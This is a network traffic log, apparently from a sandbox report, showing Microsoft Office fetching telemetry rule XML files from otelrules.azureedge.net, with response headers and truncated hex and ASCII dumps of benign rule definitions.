2024-10-23 19:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:10 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e337ee23-e01e-003c-1ecf-20c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190410Z-r1755647c66zkj29xnfn2r3bwn00000005v0000000002r88 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:10 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49777	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:10 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be98e2c6-601e-0001-2b87-21faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190410Z-r1755647c66gb86l6k27ha2m1c000000073000000000797g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49778	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:10 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:10 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: f5c3fbe0-b01e-0002-646f-231b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190410Z-17fbfdc98bb8xnvm6t4x6ec5m40000000610000000006acm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:10 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49779	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:11 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:11 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 0c1e413e-701e-0021-5e50-233d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190411Z-17fbfdc98bbg2mc9qrpn009kgs000000069g000000005ctp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:11 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49781	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:12 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:12 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: f6d2fe15-801e-007b-74f2-21e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190412Z-r1755647c66m4jttnz6nb8kzng0000000770000000001vwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:12 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49785	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:12 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:12 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: b92258e0-a01e-00ab-2aab-219106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190412Z-r1755647c66ldfgxa3qp9d53us00000008qg00000000368u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:12 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49782	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:12 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:12 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 7a637aca-b01e-0002-3c05-221b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190412Z-r1755647c66f2zlraraf0y5hrs000000072g000000007ths x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:12 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49783	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:12 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:12 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3589f4cc-c01e-0079-731b-24e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190412Z-r1755647c66sxs9zhy17bg185w00000009hg000000000379 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:12 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49784	13.107.253.45	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:12 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:12 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b6b4fe6b-401e-008c-805d-2386c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190412Z-17fbfdc98bbkw9phumvsc7yy8w0000000690000000000zx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:12 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49787	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:13 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:13 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 522c57e6-d01e-0065-4887-20b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190413Z-r1755647c66ldfgxa3qp9d53us00000008mg000000006tn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:13 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49789	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:13 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 629c9caa-001e-0079-2150-2312e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190413Z-17fbfdc98bbl89flqtm21qm6rn00000006d0000000000ca2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49791	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:13 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 8ae0ddcf-601e-0002-0c50-23a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190413Z-17fbfdc98bb6q7cv86r4xdspkg0000000670000000005y1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49788	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
